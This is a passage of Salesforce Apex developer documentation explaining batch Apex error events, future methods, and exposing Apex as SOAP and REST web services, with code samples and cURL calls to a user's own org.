[Salesforce Help: Client-driven and Server-driven Paging for Salesforce Connect—OData 2.0 and 4.0 Adapters](#)

[Salesforce Help: Define an External Data Source for Salesforce Connect—OData 2.0 or 4.0 Adapter](#)

Firing Platform Events from Batch Apex

Batch Apex classes can fire platform events when encountering an error or exception. Clients listening on an event can obtain actionable information, such as how often the event failed and which records were in scope at the time of failure. Events are also fired for Salesforce Platform internal errors and other uncatchable Apex exceptions such as `LimitExceptions`, which are caused by reaching governor limits.

An event message provides more granular error tracking than the Apex Jobs UI. It includes the record IDs being processed, exception type, exception message, and stack trace. You can also incorporate custom handling and retry logic for failures. You can invoke custom Apex logic from any trigger on this type of event, so Apex developers can build functionality like custom logging or automated retry handling.

For information on subscribing to platform events, see [Subscribing to Platform Events](#).

The `BatchApexErrorEvent` object represents a platform event associated with a batch Apex class. This object is available in API version 44.0 and later. If the `start`, `execute`, or `finish` method of a batch Apex job encounters an unhandled exception, a `BatchApexErrorEvent` platform event is fired. For more details, see [BatchApexErrorEvent](#) in the *Platform Events Developer Guide*.

To fire a platform event, a batch Apex class declaration must implement the `Database.RaisesPlatformEvents` interface.

```
public with sharing class YourSampleBatchJob implements Database.Batchable<SObject>,
    Database.RaisesPlatformEvents {
    // class implementation
}
```

 **Example:** This example creates a trigger to determine which accounts failed in the batch transaction. Custom field `Dirty__c` indicates that the account was one of a failing batch and `ExceptionType__c` indicates the exception that was encountered. `JobScope` and `ExceptionType` are fields in the `BatchApexErrorEvent` object.

```
trigger MarkDirtyIfFail on BatchApexErrorEvent (after insert) {
    Set<Id> asyncApexJobIds = new Set<Id>();
    for(BatchApexErrorEvent evt:Trigger.new){
        asyncApexJobIds.add(evt.AsyncApexJobId);
    }

    Map<Id, AsyncApexJob> jobs = new Map<Id, AsyncApexJob>(
        [SELECT id, ApexClass.Name FROM AsyncApexJob WHERE Id IN :asyncApexJobIds]
    );
}
```

```

List<Account> records = new List<Account>();
for(BatchApexErrorEvent evt:Trigger.new){
    //only handle events for the job(s) we care about
    if(jobs.get(evt.AsyncApexJobId).ApexClass.Name == 'AccountUpdaterJob'){
        for (String item : evt.JobScope.split(',')) {
            Account a = new Account(
                Id = (Id)item,
                ExceptionType__c = evt.ExceptionType,
                Dirty__c = true
            );
            records.add(a);
        }
    }
}
update records;
}

```

Testing BatchApexErrorEvent Messages Published from Batch Apex Jobs

Use the `Test.getEventBus().deliver()` method to deliver event messages that are published by failed batch Apex jobs. Use the `Test.startTest()` and `Test.stopTest()` statement block to execute the batch job.

This snippet shows how to execute a batch Apex job and deliver event messages. It executes the batch job after `Test.stopTest()`. This batch job publishes a `BatchApexErrorEvent` message when a failure occurs through the implementation of `Database.RaisesPlatformEvents`. After `Test.stopTest()` runs, a separate `Test.getEventBus().deliver()` statement is added so that it can deliver the `BatchApexErrorEvent`.

```

try {
    Test.startTest();
    Database.executeBatch(new SampleBatchApex());
    Test.stopTest();
    // Batch Apex job executes here
} catch(Exception e) {
    // Catch any exceptions thrown in the batch job
}

// The batch job fires BatchApexErrorEvent if it fails, so deliver the event.
Test.getEventBus().deliver();

```



Note: If further platform events are published by downstream processes, add `Test.getEventBus().deliver();` to deliver the event messages for each process. For example, if a platform event trigger, which processes the event from the Apex job, publishes another platform event, add a `Test.getEventBus().deliver();` statement to deliver the event message.

SEE ALSO:

[Platform Events Developer Guide: Deliver Test Event Messages](#)

[Platform Events Developer Guide: Event and Event Bus Properties in Test Context](#)

Future Methods

A future method runs asynchronously. You can call a future method to run long-running operations, such as callouts to external web services or any operation that you want to run in its own thread. You can also use future methods to isolate Data Manipulation Language (DML) operations on different sObject types to prevent the mixed DML error. Each future method is queued and runs when system resources become available. That way, the execution of your code doesn't wait for the completion of a long-running operation. A benefit of future methods is that some governor limits are higher, such as SOQL query limits and heap size limits.

 **Important:** Salesforce now recommends that you use Queueable Apex instead of Apex future methods. Queueables have the same use cases as future methods but offer more benefits, including job IDs, support for non-primitive types, and job chaining. See [Queueable Apex](#).

To define a future method, annotate it with the `Future` annotation.

```
public with sharing class FutureClass {
    @Future
    public static void myFutureMethod()
    {
        // Perform some operations
    }
}
```

Methods with the `Future` annotation must be static methods, and can only return a void type. The specified parameters must be primitive data types, arrays of primitive data types, or collections of primitive data types. Methods with the `Future` annotation can't take sObjects or objects as arguments.

The reason why sObjects can't be passed as arguments to future methods is because the sObject can change between the time that you call the method and the time that it executes. In this case, the future method gets the old sObject values and can overwrite them. To work with sObjects that already exist in the database, pass the sObject ID or the collection of IDs instead. Then use the ID to perform a query for the most up-to-date record. This example shows how to do so with a list of IDs.

```
public with sharing class FutureMethodRecordProcessing {
    @Future
    public static void processRecords(List<ID> recordIds)
    {
        // Get those records based on the IDs
        List<Account> accts = [SELECT Name FROM Account WHERE Id IN :recordIds WITH
USER_MODE];
        // Process records
    }
}
```

Here's a skeletal example of a future method that makes a callout to an external service. Notice that the annotation takes an extra parameter (`callout=true`) to indicate that callouts are allowed. To learn more about callouts, see [Invoking Callouts Using Apex](#).

```
public with sharing class FutureMethodExample {
    @Future(callout=true)
    public static void getStockQuotes(String acctName)
    {
        // Perform a callout to an external service
    }
}
```

Insert a user with a non-null role in a separate thread from DML operations on other sObjects. In this example, the future method, `insertUserWithRole`, which is defined in the `Util` class, performs the insertion of a user with the COO role. This future method

requires the COO role to be defined in the org. The `useFutureMethod` method in `MixedDMLFuture` inserts an account and calls the future method `insertUserWithRole`.

This `Util` class contains the future method for inserting a user with a non-null role.

```
public with sharing class Util {
    @Future
    public static void insertUserWithRole(
        String uname, String al, String em, String lname) {

        Profile p = [SELECT Id FROM Profile WHERE Name='Standard User' WITH USER_MODE];
        UserRole r = [SELECT Id FROM UserRole WHERE Name='COO' WITH USER_MODE];
        // Create new user with a non-null user role ID
        User newUser = new User(alias = al, email=em,
            emailencodingkey='UTF-8', lastname=lname,
            languagelocalekey='en_US',
            localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
            timezonesidkey='America/Los_Angeles',
            username=uname);
        insert as user newUser;
    }
}
```

This class contains the main method that calls the future method.

```
public with sharing class MixedDMLFuture {
    public static void useFutureMethod() {
        // First DML operation
        Account a = new Account(Name='Acme');
        insert as user a;

        // This next operation (insert a user with a role)
        // can't be mixed with the previous insert unless
        // it is within a future method.
        // Call future method to insert a user with a role.
        Util.insertUserWithRole(
            'mruiz@awcomputing.com', 'mruiz',
            'mruiz@awcomputing.com', 'Ruiz');
    }
}
```

You can invoke future methods the same way that you invoke any other method. However, a future method can't invoke another future method.

Future Method Limits

Methods with the `Future` annotation have these limits.

- No more than 0 in batch and future contexts; 50 in queueable context method calls per Apex invocation. Asynchronous calls, such as `Future` or `executeBatch`, that are called in a `startTest` or `stopTest` block don't count against your limits for the number of queued jobs.



Note: Having multiple future methods fan out from a queueable job isn't a recommended practice as it can rapidly add many future methods to the asynchronous queue. Request processing can be delayed and you can quickly hit the daily maximum limit for asynchronous Apex method executions. See [Future Method Performance Best Practices](#) and [Lightning Platform Apex Limits](#).

- The maximum number of `Future` method invocations per a 24-hour period is 250,000 or the number of user licenses in your organization multiplied by 200, whichever is greater. This limit is for your entire org and is shared with all asynchronous Apex: Batch Apex, Queueable Apex, scheduled Apex, and future methods. To check how many asynchronous Apex executions are available, make a request to REST API `limits` resource. See [List Organization Limits](#) in the [REST API Developer Guide](#). If the number of asynchronous Apex executions needed by a job exceeds the available number that's calculated by using the 24-hour rolling limit, an exception is thrown. For example, if your async job requires 10,000 method executions and the available 24-hour rolling limit is 9,500, you get the `AsyncApexExecutions Limit exceeded` exception. The license types that count toward this limit include full Salesforce and Salesforce Platform user licenses, App Subscription user licenses, Chatter Only users, Identity users, and Company Communities users.
- The execution of a queued job counts one time against the shared limit for asynchronous Apex method executions. See [Salesforce Platform Apex Limits](#).
- You can process queueable jobs that exceed the daily shared limit for asynchronous Apex executions at a throttled rate. See [Elastic Limits for Asynchronous Apex Executions \(Beta\)](#) on page 357.

 Note:

- Future jobs queued by a transaction aren't processed if the transaction rolls back.
- Future method jobs queued before a Salesforce service maintenance downtime remain in the queue. After service downtime ends and when system resources become available, the queued future method jobs are executed. If a future method was running when downtime occurred, the future method execution is rolled back and restarted after the service comes back up.

Testing Future Methods

To test methods defined with the `Future` annotation, call the class containing the method in a `startTest()`, `stopTest()` code block. All asynchronous calls made after the `startTest` method are collected by the system. When `stopTest` is executed, all asynchronous processes are run synchronously.

For our example, here's the test class.

```
@IsTest
private class MixedDMLFutureTest {
    @IsTest static void test1() {
        User thisUser = [SELECT Id FROM User WHERE Id = :UserInfo.getUserId() WITH
USER_MODE];
        // System.runAs() allows mixed DML operations in test context
        System.runAs(thisUser) {
            // startTest/stopTest block to run future method synchronously
            Test.startTest();
            MixedDMLFuture.useFutureMethod();
            Test.stopTest();
        }
        // The future method will run after Test.stopTest();

        // Verify account is inserted
        Account[] accts = [SELECT Id from Account WHERE Name='Acme' WITH USER_MODE];
        Assert.areEqual(1, accts.size());
        // Verify user is inserted
        List<User> users = [SELECT Id from User WHERE username='mruiz@awcomputing.com'
WITH USER_MODE];
        Assert.areEqual(1, users.size());
    }
}
```


Future Method Performance Best Practices

Salesforce uses a queue-based framework to handle asynchronous processes from such sources as future methods and batch Apex. This queue is used to balance request workload across organizations. To ensure that your organization is efficiently using the queue for your asynchronous processes:

- Avoid adding large numbers of future methods to the asynchronous queue, if possible. If more than 2,000 unprocessed requests from a single organization are in the queue, any additional requests from the same organization will be delayed while the queue handles requests from other organizations.
- Make sure that future methods run as fast as possible. To ensure fast execution of batch jobs, minimize web service callout times and tune queries used in your future methods. The longer the future method runs, the more likely other queued requests are delayed when there are many requests in the queue.
- Test your future methods at scale. To help determine if delays can occur, test by using an environment that generates the maximum number of future methods that you expect to handle.
- Consider using batch Apex instead of future methods to process large numbers of records.

Exposing Apex Methods as SOAP Web Services

You can expose your Apex methods as SOAP web services so that external applications can access your code and your application.

To expose your Apex methods, use [Webservice Methods](#).



Tip:

- Apex SOAP web services allow an external application to invoke Apex methods through SOAP Web services. [Apex callouts](#) enable Apex to invoke external web or HTTP services.
- Apex REST API exposes your Apex classes and methods as REST web services. See [Exposing Apex Classes as REST Web Services](#).

[Webservice Methods](#)

[Exposing Data with Webservice Methods](#)

[Considerations for Using the webservice Keyword](#)

[Overloading Web Service Methods](#)

Webservice Methods

Apex class methods can be exposed as custom SOAP Web service calls. This allows an external application to invoke an Apex Web service to perform an action in Salesforce. Use the `webservice` keyword to define these methods. For example:

```
global class MyWebService {
    webservice static Id makeContact(String contactLastName, Account a) {
        Contact c = new Contact(lastName = contactLastName, AccountId = a.Id);
        insert c;
        return c.id;
    }
}
```

A developer of an external application can integrate with an Apex class containing `webservice` methods by generating a WSDL for the class. To generate a WSDL from an Apex class detail page:

1. In the application from Setup, enter "Apex Classes" in the **Quick Find** box, then select **Apex Classes**.
2. Click the name of a class that contains `webservice` methods.

3. Click **Generate WSDL**.

Exposing Data with Webservice Methods

Invoking a custom `webservice` method always uses system context. Consequently, the current user's credentials are not used, and any user who has access to these methods can use their full power, regardless of permissions, field-level security, or sharing rules. Developers who expose methods with the `webservice` keyword should therefore take care that they are not inadvertently exposing any sensitive data.



Warning: Apex class methods that are exposed through the API with the `webservice` keyword don't enforce object permissions and field-level security by default. We recommend that you make use of the appropriate object or field describe result methods to check the current user's access level on the objects and fields that the webservice method is accessing. See [DescribeObjectResult Class](#) and [DescribeFieldResult Class](#).

Also, sharing rules (record-level access) are enforced only when declaring a class with the `with sharing` keyword. This requirement applies to all Apex classes, including to classes that contain webservice methods. To enforce sharing rules for webservice methods, declare the class that contains these methods with the `with sharing` keyword. See [Use the with sharing, without sharing, and inherited sharing Keywords](#).

Considerations for Using the `webservice` Keyword

When using the `webservice` keyword, keep the following considerations in mind:

- Use the `webservice` keyword to define top-level methods and outer class methods. You can't use the `webservice` keyword to define a class or an inner class method.
- You cannot use the `webservice` keyword to define an interface, or to define an interface's methods and variables.
- System-defined enums cannot be used in Web service methods.
- You cannot use the `webservice` keyword in a trigger.
- All classes that contain methods defined with the `webservice` keyword must be declared as `global`. If a method or inner class is declared as `global`, the outer, top-level class must also be defined as `global`.
- Methods defined with the `webservice` keyword are inherently global. Any Apex code that has access to the class can use these methods. You can consider the `webservice` keyword as a type of access modifier that enables more access than `global`.
- Define any method that uses the `webservice` keyword as `static`.
- You cannot deprecate `webservice` methods or variables in managed package code.
- Because there are no SOAP analogs for certain Apex elements, methods defined with the `webservice` keyword cannot take the following elements as parameters. While these elements can be used within the method, they also cannot be marked as return values.
 - Maps
 - Sets
 - Pattern objects
 - Matcher objects
 - Exception objects
- Use the `webservice` keyword with any member variables that you want to expose as part of a Web service. Do not mark these member variables as `static`.

Considerations for calling Apex SOAP Web service methods:

- Salesforce denies access to Web service and `executeanonymous` requests from an AppExchange package that has Restricted access.
- Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.
- If a login call is made from the API for a user with an expired or temporary password, subsequent API calls to custom Apex SOAP Web service methods aren't supported and result in the `INVALID_OPERATION_WITH_EXPIRED_PASSWORD` error. Reset the user's password and make a call with an unexpired password to be able to call Apex Web service methods.

The following example shows a class with Web service member variables and a Web service method:

```
global class SpecialAccounts {

    global class AccountInfo {
        webservice String AcctName;
        webservice Integer AcctNumber;
    }

    webservice static Account createAccount(AccountInfo info) {
        Account acct = new Account();
        acct.Name = info.AcctName;
        acct.AccountNumber = String.valueOf(info.AcctNumber);
        insert acct;
        return acct;
    }

    webservice static Id [] createAccounts(Account parent,
        Account child, Account grandChild) {

        insert parent;
        child.parentId = parent.Id;
        insert child;
        grandChild.parentId = child.Id;
        insert grandChild;

        Id [] results = new Id[3];
        results[0] = parent.Id;
        results[1] = child.Id;
        results[2] = grandChild.Id;
        return results;
    }
}
```

```
// Test class for the previous class.
@isTest
private class SpecialAccountsTest {
    testMethod static void testAccountCreate() {
        SpecialAccounts.AccountInfo info = new SpecialAccounts.AccountInfo();
        info.AcctName = 'Manoj Cheenath';
        info.AcctNumber = 12345;
        Account acct = SpecialAccounts.createAccount(info);
        System.assert(acct != null);
    }
}
```

You can invoke this Web service using AJAX. For more information, see [Apex in AJAX](#) on page 345.

Overloading Web Service Methods

SOAP and WSDL do not provide good support for overloading methods. Consequently, Apex does not allow two methods marked with the `webservice` keyword to have the same name. Web service methods that have the same name in the same class generate a compile-time error.

Exposing Apex Classes as REST Web Services

You can expose your Apex classes and methods so that external applications can access your code and your application through the REST architecture.

This is an overview of how to expose your Apex classes as REST web services. You'll learn about the class and method annotations and see code samples that show you how to implement this functionality.



Tip: Apex SOAP web services allow an external application to invoke Apex methods through SOAP web services. See [Exposing Apex Methods as SOAP Web Services](#).

[Introduction to Apex REST](#)

[Apex REST Annotations](#)

[Apex REST Methods](#)

[Exposing Data with Apex REST Web Service Methods](#)

Custom Apex REST web service methods run in user mode by default. In user mode, the current user's object permissions, field-level security, and sharing rules are enforced.

[Apex REST Code Samples](#)

Introduction to Apex REST

You can expose your Apex class and methods so that external applications can access your code and your application through the REST architecture. This is done by defining your Apex class with the `@RestResource` annotation to expose it as a REST resource. Similarly, add annotations to your methods to expose them through REST. For example, you can add the `@HttpGet` annotation to your method to expose it as a REST resource that can be called by an HTTP `GET` request. For more information, see [Apex REST Annotations](#) on page 116

These are the classes containing methods and properties you can use with Apex REST.

Class	Description
RestContext Class	Contains the <code>RestRequest</code> and <code>RestResponse</code> objects.
request	Use the <code>System.RestRequest</code> class to access and pass request data in a RESTful Apex method.
response	Represents an object used to pass data from an Apex RESTful Web service method to an HTTP response.

Governor Limits

Calls to Apex REST classes count against the organization's API governor limits. All standard Apex governor limits apply to Apex REST classes. For example, the maximum request or response size is 6 MB for synchronous Apex or 12 MB for asynchronous Apex. For more information, see [Execution Governors and Limits](#).

Authentication

Apex REST supports these authentication mechanisms:

- OAuth 2.0
- Session ID

See [Step Two: Set Up Authorization](#) in the *REST API Developer Guide*.

Apex REST Annotations

Use these annotations to expose an Apex class as a RESTful Web service.

- `@ReadOnly`
- `@RestResource (urlMapping= '/yourUrl')`
- `@HttpDelete`
- `@HttpGet`
- `@HttpPatch`
- `@HttpPost`
- `@HttpPut`

Apex REST Methods

Apex REST supports two formats for representations of resources: JSON and XML. JSON representations are passed by default in the body of a request or response, and the format is indicated by the `Content-Type` property in the HTTP header. You can retrieve the body as a Blob from the `HttpRequest` object if there are no parameters to the Apex method. If parameters are defined in the Apex method, an attempt is made to deserialize the request body into those parameters. If the Apex method has a non-void return type, the resource representation is serialized into the response body.

These return and parameter types are allowed:

- Apex primitives (excluding `sObject` and `Blob`).
- `sObjects`
- Lists or maps of Apex primitives or `sObjects` (only maps with `String` keys are supported).
- [User-defined types](#) that contain member variables of the types listed above.

 **Note:** Apex REST doesn't support XML serialization and deserialization of `Connect` in Apex objects. Apex REST does support JSON serialization and deserialization of `Connect` in Apex objects. Also, some collection types, such as maps and lists, aren't supported with XML. See [Request and Response Data Considerations](#) for details.

Methods annotated with `@HttpGet` or `@HttpDelete` must have no parameters. This is because GET and DELETE requests have no request body, so there's nothing to deserialize.

The `@ReadOnly` annotation supports the Apex REST annotations for all the HTTP requests: `@HttpDelete`, `@HttpGet`, `@HttpPatch`, `@HttpPost`, and `@HttpPut`.

A single Apex class annotated with `@RestResource` can't have multiple methods annotated with the same HTTP request method. For example, the same class can't have two methods annotated with `@HttpGet`.

 **Note:** Apex REST currently doesn't support requests of Content-Type `multipart/form-data`.

Apex REST Method Considerations

Here are a few points to consider when you define Apex REST methods.

- `RestRequest` and `RestResponse` objects are available by default in your Apex methods through the static `RestContext` object. This example shows how to access these objects through `RestContext`:

```
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;
```

- If the Apex method has no parameters, Apex REST copies the HTTP request body into the `RestRequest.requestBody` property. If the method has parameters, then Apex REST attempts to deserialize the data into those parameters and the data won't be deserialized into the `RestRequest.requestBody` property.
- Apex REST uses similar serialization logic for the response. An Apex method with a non-void return type has the return value serialized into `RestResponse.responseBody`. If the return type includes fields with null values, those fields aren't serialized into the response body.
- Apex REST methods can be used in managed and unmanaged packages. When calling Apex REST methods that are contained in a managed package, you must include the managed package namespace in the REST call URL. For example, if the class is contained in a managed package namespace called `packageNameSpace` and the Apex REST methods use a URL mapping of `/MyMethod/*`, the URL used via REST to call these methods would be of the form `https://instance.salesforce.com/services/apexrest/packageNameSpace/MyMethod/`. For more information about managed packages, see [What is a Package?](#).
- If a login call is made from the API for a user with an expired or temporary password, subsequent API calls to custom Apex REST Web service methods aren't supported and result in the `MUTUAL_AUTHENTICATION_FAILED` error. Reset the user's password and make a call with an unexpired password to be able to call Apex Web service methods.
- If the heap limit is exceeded in the process of serialization, an `HTTP 200` code is returned and the error `{"status": "some error occurred"}` is appended to the partial JSON response. Returning a collection of `sObjects` from a REST method involves buffering the JSON serialized form of each `sObject`. Heap and CPU limits may not be encountered until after the HTTP response header and initial data has started streaming back to the client. To gain control of the `statusCode` and the `responseBody`, use a `RestResponse` instead of directly returning `sObjects`.

User-Defined Types

You can use user-defined types for parameters in your Apex REST methods. Apex REST deserializes request data into `public`, `private`, or `global` class member variables of the user-defined type, unless the variable is declared as `static` or `transient`. For example, an Apex REST method that contains a user-defined type parameter might look like the following:

```
@RestResource(urlMapping='/user_defined_type_example/*')
global with sharing class MyOwnTypeRestResource {

    @HttpPost
    global static MyUserDefinedClass echoMyType(MyUserDefinedClass ic) {
        return ic;
    }

    global class MyUserDefinedClass {

        global String string1;
        global String string2 { get; set; }
        private String privateString;
        global transient String transientString;
```

```

    }
}

```

Valid JSON and XML request data for this method would look like:

```

{
  "ic" : {
    "string1" : "value for string1",
    "string2" : "value for string2",
    "privateString" : "value for privateString"
  }
}

```

```

<request>
  <ic>
    <string1>value for string1</string1>
    <string2>value for string2</string2>
    <privateString>value for privateString</privateString>
  </ic>
</request>

```

The public, private, or global class member variables must be types allowed by Apex REST:

- Apex primitives (excluding sObject and Blob).
- sObjects
- Lists or maps of Apex primitives or sObjects (only maps with String keys are supported).

When creating user-defined types used as Apex REST method parameters, avoid introducing any class member variable definitions that result in cycles (definitions that depend on each other) at run time in your user-defined types. Here's a simple example:

```

@RestResource(urlMapping='/CycleExample/*')
global with sharing class ApexRESTCycleExample {

    @HttpGet
    global static MyUserDef1 doCycleTest() {
        MyUserDef1 def1 = new MyUserDef1();
        MyUserDef2 def2 = new MyUserDef2();
        def1.userDef2 = def2;
        def2.userDef1 = def1;
        return def1;
    }

    global class MyUserDef1 {
        MyUserDef2 userDef2;
    }

    global class MyUserDef2 {
        MyUserDef1 userDef1;
    }
}

```

The code in the previous example compiles, but at run time when a request is made, Apex REST detects a cycle between instances of def1 and def2, and generates an HTTP 400 status code error response.

Request and Response Data Considerations

Some additional things to keep in mind for the request data for your Apex REST methods:

- The names of the Apex parameters matter, although the order doesn't. For example, valid requests in both XML and JSON look like the following:

```
@HttpPost
global static void myPostMethod(String s1, Integer i1, Boolean b1, String s2)
```

```
{
  "s1" : "my first string",
  "i1" : 123,
  "s2" : "my second string",
  "b1" : false
}
```

```
<request>
  <s1>my first string</s1>
  <i1>123</i1>
  <s2>my second string</s2>
  <b1>false</b1>
</request>
```

- The URL patterns *URLpattern* and *URLpattern/** match the same URL. If one class has a `urlMapping` of *URLpattern* and another class has a `urlMapping` of *URLpattern/**, a REST request for this URL pattern resolves to the class that was saved first.
- Some parameter and return types can't be used with XML as the Content-Type for the request or as the accepted format for the response, and hence, methods with these parameter or return types can't be used with XML. Lists, maps, or collections of collections, for example, `List<List<String>>` aren't supported. However, you can use these types with JSON. If the parameter list includes a type that's invalid for XML and XML is sent, an HTTP 415 status code is returned. If the return type is a type that's invalid for XML and XML is the requested response format, an HTTP 406 status code is returned.
- For request data in either JSON or XML, valid values for Boolean parameters are: `true`, `false` (both are treated as case-insensitive), `1` and `0` (the numeric values, not strings of "1" or "0"). Any other values for Boolean parameters result in an error.
- If the JSON or XML request data contains multiple parameters of the same name, this results in an HTTP 400 status code error response. For example, if your method specifies an input parameter named `x`, the following JSON request data results in an error:

```
{
  "x" : "value1",
  "x" : "value2"
}
```

Similarly, for user-defined types, if the request data includes data for the same user-defined type member variable multiple times, this results in an error. For example, given this Apex REST method and user-defined type:

```
@RestResource(urlMapping='/DuplicateParamsExample/*')
global with sharing class ApexRESTDuplicateParamsExample {

    @HttpPost
    global static MyUserDef1 doDuplicateParamsTest(MyUserDef1 def) {
        return def;
    }

    global class MyUserDef1 {
```



```

        Integer i;
    }
}

```

The following JSON request data also results in an error:

```

{
  "def" : {
    "i" : 1,
    "i" : 2
  }
}

```

- If you must specify a null value for one of your parameters in your request data, you can either omit the parameter entirely or specify a null value. In JSON, you can specify `null` as the value. In XML, you must use the `http://www.w3.org/2001/XMLSchema-instance` namespace with a nil value.
- For XML request data, you must specify an XML namespace that references any Apex namespace your method uses. So, for example, if you define an Apex REST method such as:

```

@RestResource(urlMapping='/namespaceExample/*')
global class MyNamespaceTest {
    @HttpPost
    global static MyUDT echoTest(MyUDT def, String extraString) {
        return def;
    }

    global class MyUDT {
        Integer count;
    }
}

```

You can use the following XML request data:

```

<request>
  <def xmlns:MyUDT="http://soap.sforce.com/schemas/class/MyNamespaceTest">
    <MyUDT:count>23</MyUDT:count>
  </def>
  <extraString>test</extraString>
</request>

```

Response Status Codes

The status code of a response is set automatically. This table lists some HTTP status codes and what they mean in the context of the HTTP request method. For the full list of response status codes, see [statusCode](#).

Request Method	Response Status Code	Description
GET	200	The request was successful.
PATCH	200	The request was successful and the return type is non-void.
PATCH	204	The request was successful and the return type is void.

Request Method	Response Status Code	Description
DELETE, GET, PATCH, POST, PUT	400	An unhandled user exception occurred.
DELETE, GET, PATCH, POST, PUT	403	You don't have access to the specified Apex class.
DELETE, GET, PATCH, POST, PUT	404	The URL is unmapped in an existing <code>@RestResource</code> annotation.
DELETE, GET, PATCH, POST, PUT	404	The URL extension is unsupported.
DELETE, GET, PATCH, POST, PUT	404	The Apex class with the specified namespace couldn't be found.
DELETE, GET, PATCH, POST, PUT	405	The request method doesn't have a corresponding Apex method.
DELETE, GET, PATCH, POST, PUT	406	The Content-Type property in the header was set to a value other than JSON or XML.
DELETE, GET, PATCH, POST, PUT	406	The header specified in the HTTP request isn't supported.
GET, PATCH, POST, PUT	406	The XML return type specified for format is unsupported.
DELETE, GET, PATCH, POST, PUT	415	The XML parameter type is unsupported.
DELETE, GET, PATCH, POST, PUT	415	The Content-Header Type specified in the HTTP request header is unsupported.
DELETE, GET, PATCH, POST, PUT	500	An unhandled Apex exception occurred.

SEE ALSO:

[JSON Support](#)[XML Support](#)

Exposing Data with Apex REST Web Service Methods

Custom Apex REST web service methods run in user mode by default. In user mode, the current user's object permissions, field-level security, and sharing rules are enforced.

To bypass object or field-level security while using SOQL SELECT statements in Apex, you must use the `WITH SYSTEM_MODE` clause.

You can also use the appropriate object or field describe result methods to check the current user's access level on the objects and fields that the Apex REST API method is accessing. See [DescribeObjectResult Class](#) and [DescribeFieldResult Class](#).

Sharing rules, record-level access are also enforced by default. To bypass sharing rules for Apex REST API methods, you must explicitly declare the class that contains these methods with the `without sharing` keyword. See [Using the with sharing or without sharing Keywords](#).

Versioned Behavior Changes

In API version 67.0 and later, Apex runs in user context by default, which means that the current user's object permissions and field-level security (FLS) are enforced during code execution. In API version 66.0 and earlier, system mode is the default, which means that the current user's object permissions and FLS settings are ignored.

In API version 67.0 and later, classes without an explicit sharing declaration run in `with sharing` mode. In API version 66.0 and earlier, the default sharing mode of classes without an explicit sharing declaration is `without sharing`.

SEE ALSO:

[Apex Security and Sharing Model](#)

Apex REST Code Samples

These code samples show you how to expose Apex classes and methods through the REST architecture and how to call those resources from a client.

[Apex REST Basic Code Sample](#)

This sample shows how to implement a simple REST API in Apex with three HTTP request methods to delete, retrieve, and update a record.

[Apex REST Code Sample Using RestRequest](#)

This sample shows you how to add an attachment to a record by using the `RestRequest` object.

Apex REST Basic Code Sample

This sample shows how to implement a simple REST API in Apex with three HTTP request methods to delete, retrieve, and update a record.

For more information about authenticating with `cURL`, see the [Quick Start](#) section of the *REST API Developer Guide*.

1. Create an Apex class in your instance from Setup. Enter *Apex Classes* in the *Quick Find* box, select **Apex Classes**, and then click **New**. Add this code to the new Apex class:

```
@RestResource(urlMapping='/Account/*')
global with sharing class MyRestResource {

    @HttpDelete
    global static void doDelete() {
        RestRequest req = RestContext.request;
        RestResponse res = RestContext.response;
        String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);

        Account account = [SELECT Id FROM Account WHERE Id = :accountId];
        delete account;
    }

    @HttpGet
    global static Account doGet() {
        RestRequest req = RestContext.request;
        RestResponse res = RestContext.response;
        String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);

        Account result = [SELECT Id, Name, Phone, Website FROM Account WHERE Id =
:accountId];
        return result;
    }

    @HttpPost
```

```

    global static String doPost(String name,
        String phone, String website) {
        Account account = new Account();
        account.Name = name;
        account.phone = phone;
        account.website = website;
        insert account;
        return account.Id;
    }
}

```

2. To call the `doGet` method from a client, open a command-line window and execute the following `cURL` command to retrieve an account by ID:

```

curl -H "Authorization: Bearer sessionId"
"https://instance.salesforce.com/services/apexrest/Account/accountId"

```

- Replace `sessionId` with the `<sessionId>` element that you noted in the login response.
- Replace `instance` with your `<serverUrl>` element.
- Replace `accountId` with the ID of an account which exists in your organization.

After calling the `doGet` method, Salesforce returns a JSON response with data such as the following:

```

{
  "attributes" :
  {
    "type" : "Account",
    "url" : "/services/data/v22.0/objects/Account/accountId"
  },
  "Id" : "accountId",
  "Name" : "Acme"
}

```

 **Note:** The `cURL` examples in this section don't use a namespaced Apex class so you don't see the namespace in the URL.

3. Create a file called `account.txt` to contain the data for the account you will create in the next step.

```

{
  "name" : "Wingo Ducks",
  "phone" : "707-555-1234",
  "website" : "www.wingo.ca.us"
}

```

4. Using a command-line window, execute the following `cURL` command to create a new account:

```

curl -H "Authorization: Bearer sessionId" -H "Content-Type: application/json" -d
@account.txt "https://instance.salesforce.com/services/apexrest/Account/"

```

After calling the `doPost` method, Salesforce returns a response with data such as the following:

```

"accountId"

```

The `accountId` is the ID of the account you just created with the POST request.

5. Using a command-line window, execute the following `cURL` command to delete an account by specifying the ID:

```
curl -X DELETE -H "Authorization: Bearer sessionId"
"https://instance.salesforce.com/services/apexrest/Account/accountId"
```

Apex REST Code Sample Using RestRequest

This sample shows you how to add an attachment to a record by using the RestRequest object.

For more information about authenticating with cURL, see the [Quick Start](#) section of the *REST API Developer Guide*. In this code, the binary file data is stored in the RestRequest object, and the Apex service class accesses the binary data in the RestRequest object.

1. Create an Apex class in your org from Setup by entering *Apex Classes* in the *Quick Find* box, then selecting **Apex Classes**. Click **New** and add the following code to your new class:

```
@RestResource(urlMapping='/CaseManagement/v1/*')
global with sharing class CaseMgmtService
{

    @HttpPost
    global static String attachPic(){
        RestRequest req = RestContext.request;
        RestResponse res = RestContext.response;
        Id caseId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
        Blob picture = req.requestBody;
        Attachment a = new Attachment (ParentId = caseId,
                                      Body = picture,
                                      ContentType = 'image/jpeg',
                                      Name = 'VehiclePicture');

        insert a;
        return a.Id;
    }
}
```

2. Open a command-line window and execute the following cURL command to upload the attachment to a case:

```
curl -H "Authorization: Bearer sessionId" -H "X-PrettyPrint: 1" -H "Content-Type:
image/jpeg" --data-binary @file
"https://MyDomainName.my.salesforce.com/services/apexrest/CaseManagement/v1/caseId"
```

- Replace *sessionId* with the `<sessionId>` element that you noted in the login response.
- Replace *MyDomainName* with the My Domain name for your org.
- Replace *caseId* with the ID of the case you want to add the attachment to.
- Replace *file* with the path and file name of the file you want to attach.

